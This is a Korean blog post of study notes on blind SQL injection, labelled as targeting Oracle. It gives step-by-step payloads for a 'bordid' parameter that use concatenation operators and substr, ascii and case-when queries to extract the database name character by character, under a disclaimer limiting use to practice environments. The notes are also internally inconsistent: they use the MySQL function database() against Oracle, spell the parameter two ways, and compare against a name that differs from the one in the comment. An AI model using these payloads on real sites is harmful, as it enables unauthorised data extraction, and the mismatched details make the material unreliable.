※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.
1. DB 환경 : Oracle
2. 목적 : user 이름 및 Database 이름 확인
3. 공격 순서 :
1) 정상 파라미터 값
bordid = no0001
2) 파라미터 값 중간에 연결 연산자 입력 후 응답값 확인
bordid=no0'||'001
3) 응답 값 확인(참, 거짓)
bordid=no0'||0||'001 // 참
bordid=no0'||1||'001 //거짓
4) SELECT 구문 사용 가능 여부 체크
boardid=no0'||select+0||'001 // 참
boardid=no0'||select+1||'001 //거짓
5) 연결 연산자 사이에 SQL 구문 삽입
bordid=no0'||______(SQL 구문)_______||001
(1) (select+database()) //database() 값 보기
(2) (substr((select+database()),1,1) //database() 값 첫글자 한개 요청
(3) (ascii(substr((select+database()),1,1)>100) //database() 값 첫글자 한개 요청 값이 아스키코드 값으로 100보다 큰지?( '>'URL 인코딩 : %3e)
(4) (select+case+when(ascii(substr((select+database()),1,1)=114))+then+'0'+else+'1'+end) //database() 값 첫글자 한개 요청 값이 아스키코드 값으로 114인지? 참이면 0 거짓이면 1
(5) (select+case+when(select+database()='ko123a')+then+'0'+else+'1'+end) //database 이름이 ti123b가 맞는지? 참이면 정상 페이지